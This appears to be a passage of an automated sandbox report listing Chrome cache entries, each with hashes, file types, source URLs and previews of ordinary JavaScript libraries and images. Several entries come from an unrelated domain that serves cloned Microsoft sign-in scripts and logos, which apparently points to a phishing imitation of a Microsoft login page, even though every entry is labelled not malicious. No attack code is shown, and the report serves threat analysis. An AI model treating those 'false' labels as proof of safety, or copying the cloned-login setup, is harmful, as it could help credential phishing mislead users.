Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (512)
Category:	downloaded
Size (bytes):	11970
Entropy (8bit):	5.416120131770621
Encrypted:	false
SSDEEP:	192:FPpd9ihiovIZwqsTh8Mi0Yl82YmYZewHe+IkA1niOpVTChGZu3PcXVstaD:ddEIyi0u82Y9ZewHPIkA1niOpVmOUPcX
MD5:	39A0EB35CD7799A181D34F4AE1DDB496
SHA1:	E933CA8534BCB6AD79D240316CE23C8B870050D0
SHA-256:	C8CEF105FCAF7CBF3F8682C861045505C24D41CF6686C20C1C03E14031A3DB69
SHA-512:	0AE990F9B57B55C3A8025BBE13C98ECD8A40C38380F9E0EFEF2BE7B418642EB040E4C537E684D2FEF7E04113450CFD4DEFF3414310773177220209991BBF1643
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js
Preview:	/! ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------..This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise. .. json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain..Provided for Informational Purposes Only..Public Domain. .NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK..----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------ */."object"!=typeof JSON&&(JSON={}),

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46591)
Category:	dropped
Size (bytes):	81916
Entropy (8bit):	5.533270547618377
Encrypted:	false
SSDEEP:	1536:PyeDWgSr6fTPRUbx3XCg/MJA5NOii5WLeVdgWLDY2Js0VgtWp:IgD1g/Mq5L9Ev9
MD5:	7D10A22A14D1A19AD6CC0C4F4AD4482D
SHA1:	DFA9D534184E7944E085E44D4EAD6A826965991C
SHA-256:	828896E3329908E1FC3B65B001BA0EF27F75E027D53F14405366A30922B4A704
SHA-512:	4371FFE3329164294C5E4B5981A79A2AF60001127711E8509B459A3EB20C114C178387D38C58E19298B1A5D4F5A7A20C7EDF4E70160894565C68F7592C7C6BE7
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (41625)
Category:	downloaded
Size (bytes):	150620
Entropy (8bit):	5.4047108521554685
Encrypted:	false
SSDEEP:	3072:AwlL47MnAPaiA2spudRCe/fW2MkdF5kpjmqL1ZVplqpU:AwlgMgaiA2spuZ/+2MkdF5ML1/plqpU
MD5:	CE804EE138A1C6220401E9413D6D632F
SHA1:	22B897D0C5BA6C6175108FAFFAFE513138C21577
SHA-256:	219B467E10FA76AFADEAFCBFDD061ABA7856418C3C6D64CF12086C3C51B857B7
SHA-512:	86DA4C526D9849F58936F5C75B09D784CB23E6497EF65BC901C6C3DF8F13CB05352431848F40AD15F36E4501759A5D1E28D2E1BD6C1A5F458091194CAD99D388
Malicious:	false
Reputation:	low
URL:	https://js.hcaptcha.com/1/api.js
Preview:	/* https://hcaptcha.com/license */.!function(){"use strict";function e(e){var t=this.constructor;return this.then((function(n){return t.resolve(e()).then((function(){return n}))}),(function(n){return t.resolve(e()).then((function(){return t.reject(n)}))}))}function t(e){return new this((function(t,n){if(!e\|\|"undefined"==typeof e.length)return n(new TypeError(typeof e+" "+e+" is not iterable(cannot read property Symbol(Symbol.iterator))"));var r=Array.prototype.slice.call(e);if(0===r.length)return t([]);var i=r.length;function o(e,n){if(n&&("object"==typeof n\|\|"function"==typeof n)){var a=n.then;if("function"==typeof a)return void a.call(n,(function(t){o(e,t)}),(function(n){r[e]={status:"rejected",reason:n},0==--i&&t(r)}))}r[e]={status:"fulfilled",value:n},0==--i&&t(r)}for(var a=0;a<r.length;a++)o(a,r[a])}))}var n=setTimeout,r="undefined"!=typeof setImmediate?setImmediate:null;function i(e){return Boolean(e&&"undefined"!=typeof e.length)}function o(){}function a(e){if(!(this instanceof

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45797)
Category:	downloaded
Size (bytes):	406986
Entropy (8bit):	5.31836569617146
Encrypted:	false
SSDEEP:	3072:f5+ROkZBKxn7oW/sKni2JcPwRTQx4J77m7mBdhh2uZifxOjrCpaLmnF:uOkWxp/Fi9Nxe7maZc7F
MD5:	E40761677762EAB0692F86B259C7D744
SHA1:	34A9B50CEC6E1163CEEFCD4D394DB6524C89A854
SHA-256:	DA4A8DF0C326292B5BEE9C732B3C962FD67AAF2F99D850F1BF65068D573C5619
SHA-512:	04FA1D6074AD24E3ABAB53D1DE116A6B39B4BE3DFABC082427F1C5A169E50527561F160CC133C2AC4AEDC4E7AC404572F60E531A4618111EA74D138B2B0DD034
Malicious:	false
Reputation:	low
URL:	https://vn3hg.rigotiles.com/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[8],Array(533).concat([f

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47671)
Category:	downloaded
Size (bytes):	47672
Entropy (8bit):	5.401921124762015
Encrypted:	false
SSDEEP:	768:OeCtueCACDHsEW8tZunqu5TTfjdTdWm54gEnih4A2WibLXKUEn+V1Kgbdfi0Vdua:OvXmHFW8tZuquNP54VnKJ3UEsnpj
MD5:	B804BCD42117B1BBE45326212AF85105
SHA1:	7B4175AAF0B7E45E03390F50CB8ED93185017014
SHA-256:	B7595C3D2E94DF7416308FA2CCF5AE8832137C76D2E9A8B02E6ED2CB2D92E2F7
SHA-512:	9A4F038F9010DDCCF5E0FAF97102465EF7BA27B33F55C4B86D167C41096DB1E76C8212A5E36565F0447C4F57340A10DB07BB9AE26982DFFF92C411B5B1F1FB97
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/22755d9a86c9/api.js
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,l,g){try{var h=e[l](g),u=h.value}catch(f){n(f);return}h.done?r(u):Promise.resolve(u).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);function g(u){Ht(l,o,c,g,h,"next",u)}function h(u){Ht(l,o,c,g,h,"throw",u)}g(void 0)})}}function V(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):V(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 92, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	324
Entropy (8bit):	6.648908142761257
Encrypted:	false
SSDEEP:	6:6v/lhPErdrMxa8bvW57XoTcUe4D/b6sHK5VcMRxOltEmVpjQuDXfkTp:6v/7MFMxwR6YTVxOl2oc9
MD5:	5C97C99DEC9B217FE14ECF027D1C4C69
SHA1:	245722723B636DC48EA0C3B21638EE0197FED1E2
SHA-256:	C7F0ED74C2960EFD32391E88635201CCC6FCDFE3ACFF894B91B284016B65AB1C
SHA-512:	04AB4486B4FD756948F0A1F29A7AD78C1A32200C15767DE494CC06B018BD4008B054913820430785B2856D79F7A7556FF470C1F153EAD32184708CD6AC0DF4E5
Malicious:	false
Reputation:	low
URL:	https://i.ibb.co/SJ5tdZc/download.png
Preview:	.PNG........IHDR...\...\......1"j...`PLTE....S%........................................X.....P .?...R......4....R.hE...y...nL.G...Z?......NgF....IDATh......@....`..NV..o..h. X.^.......8G.Z..v#..K)uX...K5.GJ..............q./.[.+....Z..\|+f....R1..........=.G....O...O\k...................5'...v..7...J.u.M'F.....IEND.B`.

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47671)
Category:	dropped
Size (bytes):	47672
Entropy (8bit):	5.401921124762015
Encrypted:	false
SSDEEP:	768:OeCtueCACDHsEW8tZunqu5TTfjdTdWm54gEnih4A2WibLXKUEn+V1Kgbdfi0Vdua:OvXmHFW8tZuquNP54VnKJ3UEsnpj
MD5:	B804BCD42117B1BBE45326212AF85105
SHA1:	7B4175AAF0B7E45E03390F50CB8ED93185017014
SHA-256:	B7595C3D2E94DF7416308FA2CCF5AE8832137C76D2E9A8B02E6ED2CB2D92E2F7
SHA-512:	9A4F038F9010DDCCF5E0FAF97102465EF7BA27B33F55C4B86D167C41096DB1E76C8212A5E36565F0447C4F57340A10DB07BB9AE26982DFFF92C411B5B1F1FB97
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,l,g){try{var h=e[l](g),u=h.value}catch(f){n(f);return}h.done?r(u):Promise.resolve(u).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);function g(u){Ht(l,o,c,g,h,"next",u)}function h(u){Ht(l,o,c,g,h,"throw",u)}g(void 0)})}}function V(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):V(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45797)
Category:	dropped
Size (bytes):	406986
Entropy (8bit):	5.31836569617146
Encrypted:	false
SSDEEP:	3072:f5+ROkZBKxn7oW/sKni2JcPwRTQx4J77m7mBdhh2uZifxOjrCpaLmnF:uOkWxp/Fi9Nxe7maZc7F
MD5:	E40761677762EAB0692F86B259C7D744
SHA1:	34A9B50CEC6E1163CEEFCD4D394DB6524C89A854
SHA-256:	DA4A8DF0C326292B5BEE9C732B3C962FD67AAF2F99D850F1BF65068D573C5619
SHA-512:	04FA1D6074AD24E3ABAB53D1DE116A6B39B4BE3DFABC082427F1C5A169E50527561F160CC133C2AC4AEDC4E7AC404572F60E531A4618111EA74D138B2B0DD034
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[8],Array(533).concat([f

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (41625)
Category:	dropped
Size (bytes):	150620
Entropy (8bit):	5.4047108521554685
Encrypted:	false
SSDEEP:	3072:AwlL47MnAPaiA2spudRCe/fW2MkdF5kpjmqL1ZVplqpU:AwlgMgaiA2spuZ/+2MkdF5ML1/plqpU
MD5:	CE804EE138A1C6220401E9413D6D632F
SHA1:	22B897D0C5BA6C6175108FAFFAFE513138C21577
SHA-256:	219B467E10FA76AFADEAFCBFDD061ABA7856418C3C6D64CF12086C3C51B857B7
SHA-512:	86DA4C526D9849F58936F5C75B09D784CB23E6497EF65BC901C6C3DF8F13CB05352431848F40AD15F36E4501759A5D1E28D2E1BD6C1A5F458091194CAD99D388
Malicious:	false
Reputation:	low
Preview:	/* https://hcaptcha.com/license */.!function(){"use strict";function e(e){var t=this.constructor;return this.then((function(n){return t.resolve(e()).then((function(){return n}))}),(function(n){return t.resolve(e()).then((function(){return t.reject(n)}))}))}function t(e){return new this((function(t,n){if(!e\|\|"undefined"==typeof e.length)return n(new TypeError(typeof e+" "+e+" is not iterable(cannot read property Symbol(Symbol.iterator))"));var r=Array.prototype.slice.call(e);if(0===r.length)return t([]);var i=r.length;function o(e,n){if(n&&("object"==typeof n\|\|"function"==typeof n)){var a=n.then;if("function"==typeof a)return void a.call(n,(function(t){o(e,t)}),(function(n){r[e]={status:"rejected",reason:n},0==--i&&t(r)}))}r[e]={status:"fulfilled",value:n},0==--i&&t(r)}for(var a=0;a<r.length;a++)o(a,r[a])}))}var n=setTimeout,r="undefined"!=typeof setImmediate?setImmediate:null;function i(e){return Boolean(e&&"undefined"!=typeof e.length)}function o(){}function a(e){if(!(this instanceof

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14782)
Category:	downloaded
Size (bytes):	15755
Entropy (8bit):	5.366543080044668
Encrypted:	false
SSDEEP:	384:DveX/4OSgcn2ZU2ZfeXOh+rF3X1qDZD4zfXdv79HU:q/9i57hU
MD5:	630831903F4BA9060856520624E34CFC
SHA1:	36DC15B9CCC3FC8EF627354BF55EF44EBD10E203
SHA-256:	BC6804D058D5BD5B24FC04E479FC8973BEF5D3EFEAFAA9C19C60A009BF0FAC0B
SHA-512:	1B0759972BBAB0B1A11D54849051E6782600B74FADB1CAF1BD58D214F484E35154907CA7F396EDB1C81A7CDC6F264D138267FB58FD89E1BA3A4D67366EE7E8B0
Malicious:	false
Reputation:	low
URL:	https://vn3hg.rigotiles.com/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_d0a803279e7397bef834.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[17],{519:function(e,n,s

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65450), with CRLF line terminators
Category:	downloaded
Size (bytes):	119648
Entropy (8bit):	5.356165204896218
Encrypted:	false
SSDEEP:	3072:/Yh8eip3huuf6IidlrvakdtQ47GKvPhQDvMwFdm:/i8eGRuufsr5zQ47GKvPyDvG
MD5:	75CF78D0E38C65A538AD253CA9E48DBE
SHA1:	BF0452E4A42A9AF3B69D5D8C3A3A0433F14921B6
SHA-256:	DF2AA8537C1992C94846A0FFFFAA9031D430D9D0210B9E396EC059AFF62627E0
SHA-512:	81383E4FDAE1F34F8E652F69058D57A2A4BD0A77C2C41C3174BEE0CEBA83A8326229C2A74EAF415BFBD34382B1C442A97C41034F43CD77A391BA9B4DAAE65463
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /..!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2054)
Category:	downloaded
Size (bytes):	9285
Entropy (8bit):	5.397876465825329
Encrypted:	false
SSDEEP:	192:U23y7LVYADenIY9uOqc4gIVH4VoXLIOjMuj4lMNVWmn4GHF5y8WC:U23y7hDTYvquI14i5EOvWmNl5y8h
MD5:	439A53994F1A9C860C7787ED5100CA0C
SHA1:	15BA120F64BBF6A59A457841B10DF0D6D1B4574C
SHA-256:	441BFA485FB0EB8AD2BE7001209868B57C41769CAE9512A774419F5882C093E6
SHA-512:	FB6002797BD9E28A352BCBE4643BC7E998C562218D9189AE879E1DC605BC79C3234435029B46667724E5C85A475A72C8DDDED17E3EEFD7791EC1FB21822D3804
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js
Preview:	!function(){function e(){return(x.location.protocol\|\|"").concat("//",x.location.hostname\|\|x.location.host)}function r(e){if(e){try{var r=/function (.{1,})\(/,n=r.exec(e.constructor.toString());return n&&n.length>1?n[1]:""}catch(e){}}return""}function n(e,r,n){if(e&&r){n\|\|(e=e.toLowerCase());for(var t=0;t<r.length;t++){var o=r[t];if(o&&(n\|\|(o=o.toLowerCase()),e.indexOf(o)>=0)){return r[t]}}}return null}function t(e,r,n){return!!(0===n&&r&&r.indexOf("Script error.")>=0)}function o(e,r){.if(!e.expectedVersion\|\|e.expectedVersion!==E().jquery){if(r&&r.indexOf("jQuery.easing[jQuery.easing.def] is not a function")>=0){return!0}if(r&&r.indexOf("The bound jQuery version is not the expected version -- loaded")>=0){return!0}}return!1}function i(e){if(e){try{if("string"!==E.type(e)&&JSON&&JSON.stringify){var n=r(e),t=JSON.stringify(e);return t&&"{}"!==t\|\|(e.error&&(e=e.error,n=r(e)),(t=JSON.stringify(e))&&"{}"!==t\|\|(t=e.toString())),n+":"+t}}catch(e){}}return""+(e\|\|"")}function a(e,r){return{."sig

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
URL:	https://vn3hg.rigotiles.com/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
URL:	https://vn3hg.rigotiles.com/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
